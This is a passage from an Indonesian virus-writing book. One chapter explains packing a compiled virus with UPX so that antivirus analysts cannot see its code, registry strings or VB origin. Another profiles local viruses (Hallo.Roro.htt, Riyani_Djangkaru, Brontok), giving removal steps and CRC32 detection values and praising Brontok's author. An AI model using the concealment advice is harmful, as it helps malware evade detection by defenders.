Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

173
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

BAB V
Pengepakan (Packing) dengan UPX

Sebuah barang yang ingin diedarkan pasti harus dipak dengan


rapi agar enak dipandang mata oleh konsumen. Demikian juga
untuk sebuah program, bedanya jika di dunia programming
khususnya virus programming, sebuah software virus harus
dipacking, bukan agar enak dilihat oleh mata, tetapi sebaliknya.
Agar kode atau keterangan – keterangan tentang virus tersebut
dapat disembunyikan. Hal ini untuk menghindari pelacakan
atau pencarian informasi oleh para pemburu atau pembasmi
virus. Sehingga source code virus atau asal – muasal bahasa
pemrograman virus tersebut tidak dapat terbongkar.

Tools untuk Packing

Tools –Tools atau software untuk mengepak (packing)


sebuah program virus sangat banyak beredar di internet dan
GRATIS (seneng banget kalau mendengar kata gratis, apalagi
orang Indonesia beh beh beh!). Contoh software packing
tersebut : UPX, SPX dan lain –lain. Anda cukup mengetik di
Google ‘software packing’, pasti akan banyak muncul situs –
situs yang menawarkan software tersebut. Dalam buku ini saya
akan memakai UPX sebagai software untuk packing program
virus tersebut.

174
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

UPX (Ultimate Packing for eXecutables)

UPX adalah software untuk packing sebuah program yang


portabel, flexibel dan high-performance untuk digunakan. UPX
juga dapat melakukan packing dalam beberapa format ekstensi
file, seperti exe, scr, pif, com, dll dan lain – lain. UPX juga
melakukan kompresi rasio sangat bagus dan menawarkan
decompression yang begitu cepat. File yang dipacking tidak
memerlukan memory yang begitu banyak atau dukungan dari
file –file lain.

Untuk lebih jelasnya mari berpraktek ria menggunakan


UPX tersebut.

1. Copy seluruh file dari CD yang ada di direktori UPX ke


drive anda.
2. Copy file virus yang ingin di pack.
3. Masuk ke terminal DOS.
4. Masuk ke direktori UPX yang anda copy-kan tadi.
5. Sebelumnya lakukan perintah dir untuk mengetahui besar
file yang akan di pack. Dalam buku ini file yang ingin di
pack adalah kode.exe dengan ukuran 32,768 byte.

175
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

6. Kemudian ketik perintah upx [spasi] kode.exe dan tekan


enter.

176
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

7. Dapat dilihat di sini packing untuk file kode.exe berhasil


dan ukuran filenya menjadi berkurang kurang lebih 32 %.
8. Untuk membuktikannya mari kita ketik perintah dir lagi.

Wauw!!!!! Ternyata file kode.exe telah berubah ukurannya


menjadi 10,752 byte. Sangat kecil sekali bukan. Timbul pertanyaan,
apakah file tersebut dapat dijalankan? Ya coba saja, silahkan
jalankan untuk membuktikannya.

Selain memperkecil ukuran kegunaan UPX juga untuk


menyembunyikan kode virus yang telah kita buat. Dapat dilihat pada
gambar berikut adalah isi dari file kode.exe yang belum di pack
memakai UPX.

177
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

178
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Gambar pertama menunjukkan isi dari baris pertama file


kode.exe. Pada baris 00000230 dapat dilihat ada string
‘MSVBVM60.DLL’, dengan kata lain program virus tersebut dibuat
dengan menggunakan Microsoft Visual Basic 6.0. Kemudian
gambar kedua adalah isi tengah –tengah file kode.exe. Coba amati
pada baris 00001EC8 sampai baris 0000210C. Akan nampak string
seperti isi registry windows.
Nah jika tidak dipacking program virus kita ini akan dengan
mudah dibongkar oleh pembasmi virus. Bandingkan dengan Ilustrasi
berikut ini.

179
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

180
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Pada isi awal file kode.exe dengan alamat 00000230 dapat


dilihat berupa baris –baris kosong atau ditandai dengan string …
(titik – titik). Hal ini untuk menghindari asumsi virus dibuat dengan
program apa. Walaupun sebenarnya ada kelemahannya. Coba
perhatikan baris – baris sebelumnya. Ada string ‘UPX’ bukan?
Dengan kata lain program virus ini pasti dipacking dengan UPX. Ya
itu tugas anda untuk menutupi string ini dengan cara apa. Cari di
internet caranya (wehehehehe). Kemudian kita lihat gambar
selanjutnya pada alamat 00001EC8 sampai 0000210C menunjukkan
string yang tidak terbaca atau ngawur. Jika tidak dipacking string ini
menunjukkan alamat registry windows.

181
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

BAB VI
Balada Virus – Virus Lokal

Wuaduh!!! Kok judul bab-nya kayak di novel – novel aja sih


mas? Ya buebas…namanya mengarang buku kok…gak dibatasi
dengan bahasa – bahasa super formal. Lo tapi kan buku teknis
mas? Iya mentang – mentang buku teknis apa harus dengan
bahasa yang sebegitu formalnya? Nggak kan…yang penting
interaktif dan dapat dimengerti pembaca…Abetulll tidak…?!?!?
Pada bab ini saya akan menjelaskan atau menceritakan virus –
virus lokal yang termasuk top di indonesia. Mungkin yang saya
maksud di sini adalah virus lokal pada dekade tahun 2000
sampai 2005. jadi maaf kalau virus maker yang telah menjadi
sesepuh, pada buku ini tidak saya sebutkan virusnya, padahal
lumayan terkenal lo pas jaman – jaman kita masih pakai dos
ada virus yang bernama UFO buatan anak Kelapa Gading
Jakarta. Atau masa- masa virus makro ada JonMMX,
MegatRuh dan virus makro yang menampilkan pesan “Terima
Kasih Kepada Dosenku yang selalu memberi nilai
jelek…bla…bla…bla..”, maaf saya lupa. Kemudian ada
sesepuh virus dengan nama Sayha Watpu yang memunculkan
bendera Indonesia pada komputer yang terinfeksi. Kemudian
Virus Titania.C dan masih banyak sesepuh – sesepuh lain yang
tidak bisa saya sebutkan satu persatu. Sekali lagi
maaf………………..

182
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Virus Hallo.Roro.htt

Masih ingat virus ini kan? Virus ini buatan orang indonesia,
karena pada file yang dibuat oleh virus ini berisi tentang sajak –
sajak indah yang ditujukan kepada pacar / ex pacar si programmer
tersebut, entah mengapa kadang kekuatan cinta bisa menghasilkan
virus yang dapat memperlambat kecepatan komputer kita itu.

Sekilas Tentang Hallo.roro.htt


Hallo.Roro.htt termasuk virus yang berkembang-biak
dengan cepat, dalam selang waktu 5 menit, dia bisa menelurkan
1000-2000 file hallo.roro.htt, dan setiap kelipatan 5 menit
berkembang 2 kali lipat. Hal itulah yang menyebabkan komputer
kita lambat / lelet, metode ini juga digunakan oleh virus redlove.htt.

Selain itu virus hallo.roro.htt tidak gampang ditemukan


ketika kita ingin memakai fasilitas find pada windows. Coba kalian
ketikkan “hallo.roro.htt” pada komputer yang terkena virus tersebut.
Maka tidak akan tampil file kita cari itu. Si programmer mungkin
sudah memperhitungkan hal tersebut agar file virus tidak mudah
ditemukan seperti halnya virus redlove.htt. Walaupun begitu kita
dapat menemukannya dengan mengetikkan “hallo” pada fasislitas
find di windows. Maka akan tampil file hallo.roro.htt dengan jumlah
yang suangatttt buanyak…..

Kebiasaan virus

183
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

1. Hallo.roro.htt mempunyai beberapa kebiasaan, diantaranya


seperti yang tersebut di atas yaitu tiap 5 menit sekali virus
akan memeriksa apakah tiap folder ada file hallo.roro.htt
atau tidak, itulah sebabnya di tiap folder ada file
hallo.roro.htt, jika tidak ada maka virus akan meng-copy
file tersebut ke folder yang belum ada file hallo.roro.htt.
2. Virus ini akan menampilkan messagebox yang berisi surat
cinta kepada roro yang isinya kira-kira penyesalan karena
cinta (huikikik…romance banget)
3. Virus ini juga akan menampilkan foto si roro dengan mode
tile, sehingga desktop kita akan terisi wajah sang roro
tersebut.
4. Virus juga akan men-shutdown komputer kita tiap saat (
saya tidak tahu persisnya, karena ketika teman saya
mengetik e…tiba-tiba restart sendiri, hilanglah hasil
ketikannya).

Pemicu virus

File pemicu ada pada folder c:\windows\system dengan


nama syssrv.exe. Jangan tertipu dengan icon yang menunjukkan
bahwa syssrv.exe adalah sebuah file text, karena file tersebut
memakai icon bergambar , padahal file tersebut berekstensi .exe
atau file jenis application. Metode ini digunakan juga oleh virus
pesin yaitu dengan memakai icon bergambar , padahal file
tersebut berexstensi .exe.
Pada msconfig (salah satu fasilitas windows), virus
mengeksekusi file syssrv.exe ketika startup. Jadi waktu restart
komputer akan mengeksekusi file syssrv dan membuat virus tersebut

184
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

tetap hidup. Dan virus juga mengeksekusi file hallo.roro.htt ketika


komputer di restart.

Penanggulangan

1. Hapus file pemicu syssrv.exe pada folder


c:\windows\system
2. Hapus semua nama yang berhubungan dengan
hallo.roro.htt pada registry windows
3. Hapus file hallo.roro.htt pada komputer kamu, cari dengan
fasilitas find dengan mengetikkan “hallo” (tanpa tanda
petik) atau “roro” (tanpa tanda petik jugak).
4. Matikan pemicu pada fasilitas msconfig. Yaitu dengan
ketik “msconfig” pada menu run. Lalu enter, maka akan
masuk ke sebuah program kecil. Pilih menu tab startup,
kemudian lihat pada option yang ada tulisan load =
c:\windows\system\syssrv.exe, klik pilihannya untuk me-
nonaktifkan seperti pada gambar.

Klik
di sini
untuk
meno Visual Basic 185
Pemrograman
naktif
kan
Seni Pemrograman Virus Menggunakan Visual Basic

Gambar msconfig setelah option di-nonaktifkan

5. Jika kalian ingin melihat gambar ex pacar/pacar si


programmer, cari file roro.bmp, kemudian klik 2 kali, maka
akan muncul wajah si wanita tersebut.
6. Kemudian cari, apakah file hallo.roro.htt masih ada? Jika
masih hapus file tersebut. Atau rubah waktu menjadi bukan
tanggal 21 (Soalnya ketika tanggal 21 komputer saya restart
terus jadi saya kira si programmer memakai pemicu waktu
pada virusnya hehehehe….).
7. Kemudian restart untuk membuktikannya, jika masih ada
ulangi langkah ini sekali lagi.

Virus Riyani_Djangkaru

Nama virus ini mungkin diilhami oleh penyiar TV yang


cukup bohay kelihatannya. Teknik social engineering dipakai lagi.
Gimana tidak penasaran jika menemukan file riyanti_jangkaru
dengan icon file jpg . Pembuat virus sudah memperkirakan hal
ini. Sehingga bagi anda-anda yang menggemari riyanti akan meng-

186
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

kliknya. Padahal file ini tidak berextensi .jpg tetapi .exe atau disebut
aplikasi.
Virus ini dibuat oleh visual basic dan tidak diacak atau
dikompresi dengan UPX, dapat dilihat ketika dibongkar dengan
windisassembler32 dapat dilihat class-class dari VB seperti pada
gambar.

Dapat dilihat bahwa ada kelas kelas dari vba (visual basic
application) dari modul MSVBVM60.dll. Dapat ditarik kesimpulan
virus ini dibuat oleh VB 6 (Lagi-lagi VB).

File-file virus yang aktif adalah :


1. xpshare, terletak di c:\windows\system (98) dan
c:\windows\system32 (XP).

187
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2. riyanti_jangkaru pada drive a atau floppy disk.


3. merubah beberapa nilai / value di registry.

Akibat –Akibat

Akibat yang ditimbulkan dari virus ini belum dapat


diketahui menginfeksi file apa saja. Soalnya ketika komputer teman
saya terkena virus ini dampaknya dapat diterangkan sebagai berikut
:
1. Tidak bisa melakukan booting memakai
ctrl+alt+delete, hal ini dipertimbangkan
pembuat virus untuk menghindari terminate
program dari process management.
2. Tidak bisa masuk ke msconfig
3. Tidak bisa masuk ke regedit, sehingga tidak
dapat melihat registry yang telah diubah virus.
4. Virus mengecek ke drive a atau floppy disk
apakah ada isinya, jika ada maka akan
mengirimkan file yang bernama
riyanti_jangkaru dengan icon jpg (gambar)
tetapi berekstensi .exe.

Pencegahan dan Penanggulangan

Cara 1 :

1. Booting ke MS DOS, dengan memakai CD booting


windows 98.
2. Pilih Command Prompt Only, atau masuk ke MS-
DOS.

188
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Kemudian hapus xpshare.exe yang ada di


c:\windows\system (98) atau c:\windows\system32
(XP)
4. Kemudian booting ulang.
5. hapus semua file riyani_jangkaru.exe dengan icon jpg
yang berukuran 40 kb.

Cara 2:

1. Pakai tools showkillprocess yang dapat didownload di


www.freevbcode.com atau www.planet-source-
code.com kemudian di kotak find ketik
‘showkillprocess’ tanpa tanda petik.
2. Kemudian jalankan showkillprocess.
3. Cari process yang bernama xpshare.exe, pilih dan klik
KiLL
4. Kemudian hapus xpshare.exe yang ada di
c:\windows\system (98) atau c:\windows\system32
(XP)
5. hapus semua file riyanti_jangkaru.exe dengan icon jpg
yang berukuran 40 kb.

Cara 3:

1. Buat pencari checksum error dengan metode crc32


menggunakan bahasa pemrograman apa saja (VB,
delphi, etc…etc)
2. KiLL atau hapus seluruh file yang mempunyai crc32
bernilai ‘A9EB7466’ (tanpa tanda petik).

189
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Virus w32@Rontokbro.mm a.k.a Brontok

Namanya seperti sebuah jenis burung elang carnivora.


Terbang begitu cepat dan melumpuhkan lawan – lawannya
dalam waktu sekejap. Santer kabar bahwa yang menulis virus
ini adalah mahasiswa dari salah satu perguruan tinggi negeri
yang terkenal di Bandung. Katanya sih karena tugas kuliah, tapi
isu lain mengatakan karena beliau putus kuliah dan menulis
virus ini. Terus terang saya tidak mengetahui kabar ‘burung’
nya yang mana? Virus ini termasuk virus ganas yang ditakuti.
Penyebarannya begitu cepat, bahkan sampai ke luar negeri.
Tidak disangka orang Indonesia dapat menggunakan media
SMTP sebagai penyebaran virusnya. Sangat jarang teknik ini
digunakan oleh virus lokal. Menipu koraban –korbannya
dengan menyamarkan diri menggunakan icon direktori seperti
gambar berikut . Sampai penulisan buku ini sudah 15
varian brontok yang ada di Internet dan komputer korban.
Menurut laporan dari situs lokal yang mengurusi tentang virus
88 % lebih laporan dari user yang terkena virus brontok. Jauh di
atas virus lokal lain yang dilaporkan oleh user. Wah ternyata
ada juga anak Indonesia yang dapat membuat virus sedemikian
hebohnya. SALUT…!

Kebiasaan Virus Brontok

190
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

1. Mengunci regedit
2. Mengunci msconfig
3. Mengunci DOS shell
4. Menjalankan file virus eksplorasi.exe, bronstab.exe,
empty.pif
5. Membuat atau menelurkan file virus di tiap direktori kita
dengan nama file sesuai dengan nama direktori.
6. File virus mempunyai icon seperti folder untuk menipu
korban.
7. Mengirim email dengan attachment virus.
8. Mengubah beberapa value dalam registry windows untuk
menjalankan virus secara otomatis.

Virus brontoks ini dibuat memakai MS Visual Basic 6.0


(wauw), ditandai dengan adanya penanda file yang sudah
teracak (karena di packing memakai SPE atau SPX) seperti
pada gambar berikut :

191
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Kelihatan kan gambarnya. Selain itu brontoks juga hebat.


Mempunyai file virus berukuran 42 kb (42,089 byte). Dan file
virus tersebut mempunyai beberapa nilai crc32(sidik jari suatu
file a.k.a. cyclic redundancy check) yang tidak dipunyai oleh
virus lokal sebelumnya. Terus terang Norton Anti Virus pun
tidak dapat mendeteksi, karena crc32 yang dipunyai oleh
brontok mempunyai 3 nilai yaitu :

- 28B3A591
- 56038CCE
- 67655C3B

192
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Menetralisir dan Membunuh Brontok

Sudah banyak tutorial yang membahas tentang menetralisir


virus tersebut dan ada juga orang yang telah membuat antidot
maupun script yang dapat menghilangkan virus brontok.
Tetapi nyatanya banyak juga orang atau user yang masih tidak
mengerti membaca tutorial tersebut alasannya terlalu teknis
(ceile!!). Untuk mempermudah hal tersebut, saya buatkan
sebuah antivirus untuk virus lokal (walaupun masih jauh dari
sempurna) untuk menghalau virus lokal dan beberapa virus
luar. Mungkin untuk tambahan tutorial menghilangkan virus
brontok, anda dapat mengunjungi situs –situs yang pernah
membahasnya, cari di google dong!☺

193
Pemrograman Visual Basic

Anda mungkin juga menyukai